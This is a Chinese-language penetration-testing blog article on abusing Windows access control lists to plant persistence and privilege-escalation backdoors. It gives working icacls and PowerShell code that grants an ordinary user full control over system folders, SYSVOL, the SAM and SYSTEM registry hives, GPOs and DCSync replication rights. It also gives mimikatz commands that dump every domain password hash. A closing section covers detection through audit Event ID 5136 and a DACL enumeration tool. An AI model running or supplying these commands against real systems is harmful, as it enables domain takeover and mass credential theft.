渗透技巧——Windows 下的 Access Control List

发布于 2024-08-31 07:48:15 字数 15217 浏览 19 评论 0

0x00 前言

Windows 系统中的 ACL(Access Control List),用来表示用户(组)权限的列表。

在渗透测试中,理解并运用 ACL,尤其在后门利用(提权) 方面,可供发挥的空间很大。

而站在防御的角度,如果系统被攻破,找到并清除攻击者留下的 ACL 后门,同样需要对 ACL 有一定的了解。

0x01 简介

本文将要介绍以下内容:

  • ACL 相关概念
  • 查看 ACL
  • ACL 利用(文件、注册表和域环境)
  • ACL 检测

0x02 ACL 相关概念

官方文档:https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/access-control-lists

  • ACL:Access Control List,用来表示用户(组)权限的列表,包括 DACL 和 SACL
  • ACE:Access Control Entry,ACL 中的元素
  • DACL:Discretionary Access Control List,用来表示安全对象权限的列表
  • SACL:System Access Control List,用来记录对安全对象访问的日志

直观理解:

Windows 访问控制模型中会用到 ACL,比如文件、注册表的权限都包括 ACL,用来表示哪些用户(组)具有操作权限

例如对某个文件进行访问,系统将做以下判断:

  • 如果没有 DACL,系统将允许访问
  • 如果存在 DACL,但没有 ACE,系统将拒绝所有访问
  • 如果存在 DACL,也存在 ACE,那么会按照每个 ACE 指定允许或拒绝

实例演示

对于文件夹 C:\Windows\SYSVOL\sysvol\test.com ,查看文件夹属性

默认共有五条 DACL,如下图

Alt text

选中一条 DACL,其中包含多个 ACE,表示具有的权限,如下图

Alt text

0x03 文件中的 ACL

常用命令(icacls):

1、查看指定文件的 ACL

icacls C:\Windows\SYSVOL\sysvol\test.com

如下图

Alt text

2、备份指定文件(包括当前目录及其子目录中的文件) 的 ACL

icacls C:\Windows\SYSVOL\sysvol\test.com /save AclFile /t

3、还原指定文件(包括当前目录及其子目录中的文件) 的 ACL

icacls C:\Windows\SYSVOL\sysvol\ /restore AclFile /t

注:

还原时,路径需要设置为上级目录

4、添加用户 test1 对指定文件(包括当前目录及其子目录中的文件) 的完全访问权限

icacls C:\Windows\SYSVOL\sysvol\test.com /grant test1:(OI)(CI)(F) /t

注:

(OI) 代表对象继承 (CI) 代表容器继承 (F) 代表完全访问

5、移除用户 test1 对指定文件(包括当前目录及其子目录中的文件) 的完全访问权限

icacls C:\Windows\SYSVOL\sysvol\test.com /remove test1 /t

常用命令(powershell):

1、查看指定路径的 ACL

例如 C:\Windows\SYSVOL\sysvol\test.com

Get-Acl -Path 'C:\Windows\SYSVOL\sysvol\test.com'| Format-Table -wrap

2、添加用户 test1 对指定文件的完全访问权限

function Add-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    Set-Acl $Path $acl
}
Add-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'

3、移除用户 test1 对指定文件的完全访问权限

function Remove-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.RemoveAccessRule($rule)
    Set-Acl $Path $acl
}
Remove-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'

4、添加用户 test1 对指定文件(包括当前目录及其子目录中的文件) 的完全访问权限

function Add-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.AddAccessRule($rule)
    Set-Acl $Path $acl
}
Add-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
$fileList = Get-ChildItem 'C:\Windows\SYSVOL\sysvol\test.com' -recurse
Foreach($file in $fileList)
{
    $file.fullname
    Add-ACL -Path $file.fullname
}

5、移除用户 test1 对指定文件(包括当前目录及其子目录中的文件) 的完全访问权限

function Remove-ACL{
    [CmdletBinding()]           
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateNotNullOrEmpty()]
        $Path
    )

    $acl = Get-Acl -Path $Path
    $person = [System.Security.Principal.NTAccount]"test1"
    $access = [System.Security.AccessControl.FileSystemRights]"FullControl"
    $inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
    $propagation = [System.Security.AccessControl.PropagationFlags]"None"
    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.FileSystemAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.RemoveAccessRule($rule)
    Set-Acl $Path $acl
}
Remove-ACL -Path 'C:\Windows\SYSVOL\sysvol\test.com'
$fileList = Get-ChildItem 'C:\Windows\SYSVOL\sysvol\test.com' -recurse
Foreach($file in $fileList)
{
    Remove-ACL -Path $file.fullname
}

利用思路:

1、本地提权后门

在取得 Windows 系统的管理员权限后,可以修改系统目录的 ACL,添加普通用户的完全访问权限,作为提权后门

后续可以通过 dll 劫持、文件替换等多种方法从普通用户提升至管理员权限

2、域环境 GPO 的修改

修改域内共享文件夹 \\<DOMAIN>\SYSVOL\<DOMAIN>\ 的 ACL,添加普通用户的完全访问权限

后续可以使用域内普通用户的权限修改域环境的 GPO,修改 GPO 的计划任务,实现计划任务的远程执行

相关方法可参考之前的文章 《域渗透——利用 GPO 中的计划任务实现远程执行》

3、域内普通用户读取域内所有用户 hash

创建 ntds.dit 的文件共享,添加 ACL

后续可以使用域内普通用户访问域控制器的 ntds.dit 文件,读取域内所有用户的 hash

0x04 注册表中的 ACL

常用命令(powershell):

1、查看指定路径的 ACL

例如 HKEY_LOCAL_MACHINE\SAM

Get-Acl -Path 'HKLM:\SAM'| Format-Table -wrap

如下图

Alt text

获得 Access 项的具体内容:

$acl = Get-Acl -Path 'HKLM:\SAM'
$acl.Access

如下图

Alt text

2、添加用户 test1 对指定路径(包括当前注册表项及其子健) 的完全访问权限

$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SAM $acl

注:

$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit" 表示其子健继承当前注册表项的权限

修改注册表项 HKLM:\SAM 的 ACL 需要 Administrator 权限

修改注册表项 HKLM:\SAM\SAM 的 ACL 需要 System 权限

3、移除用户 test1 对指定路径(包括当前注册表项及其子健) 的完全访问权限

$acl = Get-Acl HKLM:\SAM
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.RemoveAccessRule($rule)
Set-Acl HKLM:\SAM $acl

利用思路:

1、本地提权后门

修改注册表项 HKLM:\SAMHKLM:\SYSTEM ,添加普通用户的完全访问权限

普通用户能够通过注册表项获得本地所有用户的 hash,进而获得管理员权限

3、本地自启动后门

修改注册表位置,添加启动项或者劫持项

0x05 域环境中的 ACL

通过 Active Directory Service Interfaces (ADSI) 实现

官方文档:https://docs.microsoft.com/en-us/windows/desktop/AD/controlling-access-to-objects-in-active-directory-domain-services

Powershell 调用 ADSI 的参考资料:https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell

常用命令(powershell):

注:PowerView 已经实现了这部分内容,所以本节直接引用 PowerView 中的功能

代码地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

1、获得当前域内所有对象

Get-DomainObject -Domain test.com

2、获得当前域内所有对象的 ACL

Get-DomainObjectAcl -Domain test.com

3、获得指定用户的 ACL

Get-DomainUser test1

4、添加用户 test1 对指定对象(guid) 的完全访问权限

Add-DomainObjectAcl -TargetIdentity '483e9973-2d45-4e2f-b034-f272a26950e0' -PrincipalIdentity test1 -Rights All

5、移除用户 test1 对指定对象(guid) 的完全访问权限

Remove-DomainObjectAcl -TargetIdentity '483e9973-2d45-4e2f-b034-f272a26950e0' -PrincipalIdentity test1 -Rights All

利用思路:

1、DCSync 后门

注:该方法学习自: https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf

DCSync 是 mimikatz 的一个功能,能够模拟域控制器并从域控制器导出帐户密码 hash

如果我们在域内一台主机上获得了域管理员权限,可以使用如下命令直接导出域内所有用户的 hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内 administrator 帐户的 hash:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

默认情况下,只有 Domain ControllersEnterprise Domain Admins 权限能够使用 DCSync

但我们可以对 DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) 添加 ACL,这样就能实现普通用户调用 DCSync 导出域内所有用户的 hash

实现代码:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

添加 ACL 的命令如下:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync

接下来,在域内一台登录了 test1 用户的主机上面,就能使用 mimikatz 的 DCSync 功能

删除 ACL 的命令如下:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync

2、GPO 后门

(1) 查看当前域内的 GPO

Import-Module GroupPolicy
Get-GPO -All

如下图, TestGPO 是我在测试环境自己添加的, Default Domain PolicyDefault Domain Controllers Policy 是域环境默认存在的 GPO

Alt text

(2) 添加用户 test1 对 TestGPO 的完全访问权限

$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

(3) 移除用户 test1 对 TestGPO 的完全访问权限

$RawObject = Get-DomainGPO -Raw -Identity 'TestGPO'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity test1 -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

后续可以对 GPO 进行操作,添加计划任务,实现计划任务的远程执行,具体方法可参考之前的文章 《域渗透——利用 GPO 中的计划任务实现远程执行》

0x06 ACL 检测

1、文件和注册表

可借助开源工具 WindowsDACLEnumProject:https://github.com/nccgroup/WindowsDACLEnumProject

能够列出存在风险的 ACL

3、域环境

需要开启高级安全审核策略,参考资料:https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

开启策略后,Event ID 5136 会记录域环境中 ACL 的修改,参考资料:https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5136

0x07 小结

本文介绍了 Windows 系统中的 ACL 在文件、注册表和域环境下后门利用方面的技巧,并给出检测后门的建议。我从 PowerView 中学到了很多域环境下 ACL 的知识,在此感谢作者的开源。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

单调的奢华

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

无远思近则忧

文章 0 评论 0

久伴你

文章 0 评论 0

萌无敌

文章 0 评论 0

新一帅帅

文章 0 评论 0

莫多说

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文